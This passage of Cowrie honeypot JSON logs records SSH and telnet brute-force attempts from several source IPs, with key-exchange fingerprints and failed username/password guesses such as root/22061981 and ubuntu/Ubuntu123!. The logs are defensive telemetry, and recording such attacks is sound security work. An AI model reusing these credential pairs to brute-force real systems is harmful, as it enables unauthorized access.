a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.437720Z","src_ip":"103.77.242.62","session":"4f57646e9d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:06.497022Z","src_ip":"14.63.196.175","session":"fdc076490195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:07.140877Z","src_ip":"141.11.88.14","session":"dc4786453a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061981","message":"login attempt [root/22061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:07.156349Z","src_ip":"103.77.242.62","session":"4f57646e9d50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r5T","message":"login attempt [admin/1q2w3e4r5T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:07.350580Z","src_ip":"14.63.196.175","session":"fdc076490195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:08.367321Z","src_ip":"141.11.88.14","session":"dc4786453a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:08.450748Z","src_ip":"103.77.242.62","session":"4f57646e9d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:08.580561Z","src_ip":"14.63.196.175","session":"fdc076490195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47882,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb2374cd4d53","protocol":"telnet","message":"New connection: 128.199.8.54:47882 (159.203.135.109:23) [session: eb2374cd4d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:08.646782Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17784,"dst_ip":"10.17.0.5","dst_port":22,"session":"510f1d4dfdaa","protocol":"ssh","message":"New connection: 141.11.88.14:17784 (10.17.0.5:22) [session: 510f1d4dfdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:13.953731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:14.051949Z","src_ip":"141.11.88.14","session":"510f1d4dfdaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:14.055634Z","src_ip":"141.11.88.14","session":"510f1d4dfdaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:14.907433Z","src_ip":"141.11.88.14","session":"510f1d4dfdaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:16.030230Z","src_ip":"141.11.88.14","session":"510f1d4dfdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52624,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5efe661be49","protocol":"ssh","message":"New connection: 141.11.88.14:52624 (10.17.0.5:22) [session: d5efe661be49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:22.170347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:22.354811Z","src_ip":"141.11.88.14","session":"d5efe661be49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:22.357932Z","src_ip":"141.11.88.14","session":"d5efe661be49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:22.889757Z","src_ip":"141.11.88.14","session":"d5efe661be49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:24.040246Z","src_ip":"141.11.88.14","session":"d5efe661be49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.98187017440796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:26.359024Z","src_ip":"128.199.8.54","session":"309cf2d49bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56352,"dst_ip":"10.17.0.5","dst_port":22,"session":"de64277ffe5a","protocol":"ssh","message":"New connection: 141.11.88.14:56352 (10.17.0.5:22) [session: de64277ffe5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:30.586208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:30.606237Z","src_ip":"141.11.88.14","session":"de64277ffe5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:30.694690Z","src_ip":"141.11.88.14","session":"de64277ffe5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:31.011165Z","src_ip":"141.11.88.14","session":"de64277ffe5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:32.108414Z","src_ip":"141.11.88.14","session":"de64277ffe5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56390,"dst_ip":"10.17.0.5","dst_port":22,"session":"612059b5aeb7","protocol":"ssh","message":"New connection: 141.11.88.14:56390 (10.17.0.5:22) [session: 612059b5aeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:37.351514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:37.475060Z","src_ip":"141.11.88.14","session":"612059b5aeb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:37.483934Z","src_ip":"141.11.88.14","session":"612059b5aeb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:38.239838Z","src_ip":"141.11.88.14","session":"612059b5aeb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:39.967888Z","src_ip":"141.11.88.14","session":"612059b5aeb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38444,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36740ad9cee","protocol":"telnet","message":"New connection: 94.23.66.112:38444 (10.17.0.5:23) [session: b36740ad9cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:42.353454Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31588,"dst_ip":"10.17.0.5","dst_port":22,"session":"49b7ebd587c8","protocol":"ssh","message":"New connection: 141.11.88.14:31588 (10.17.0.5:22) [session: 49b7ebd587c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:44.113334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:44.479729Z","src_ip":"141.11.88.14","session":"49b7ebd587c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:44.483252Z","src_ip":"141.11.88.14","session":"49b7ebd587c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:46.457656Z","src_ip":"141.11.88.14","session":"49b7ebd587c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:47.545478Z","src_ip":"141.11.88.14","session":"49b7ebd587c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53300,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f9a65856063","protocol":"ssh","message":"New connection: 141.11.88.14:53300 (10.17.0.5:22) [session: 8f9a65856063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:51.612426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:51.663175Z","src_ip":"141.11.88.14","session":"8f9a65856063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:51.763256Z","src_ip":"141.11.88.14","session":"8f9a65856063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:52.409143Z","src_ip":"141.11.88.14","session":"8f9a65856063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:53.579186Z","src_ip":"141.11.88.14","session":"8f9a65856063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50998,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c5ed323e722","protocol":"ssh","message":"New connection: 141.11.88.14:50998 (10.17.0.5:22) [session: 3c5ed323e722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:59.729817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:59.734789Z","src_ip":"141.11.88.14","session":"3c5ed323e722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 